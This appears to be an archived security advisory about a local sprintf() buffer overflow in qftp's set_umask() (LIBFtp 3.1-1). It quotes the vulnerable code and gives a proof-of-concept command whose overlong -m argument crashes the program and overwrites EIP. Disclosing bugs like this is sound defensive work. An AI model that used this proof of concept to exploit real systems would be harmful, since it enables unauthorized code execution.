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TUCoPS :: HP Unsorted Q :: c07-2673.htm

QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow
QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow
QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow



http://nbpfaus.net/~pfau/ftplib/ 

qftp is a utility that performs file transfers using ftplib based on
instructions presented on the command line.

>> Description

buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.

>> Source error

in main():
337: 	  case 'm' : set_umask(optarg); break;
..
void set_umask(char *m)
{
    char buf[80];
    sprintf(buf,"umask %s", m);
    ftp_connect();
    FtpSite(buf, conn);
}

>> POC

$ gcc ftplib.c getopt.c qftp.c -o ftpsend
$ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"`
Segmentation fault

# eip addr: $1 = (void *) 0x61616161

-- 
~ starcadi


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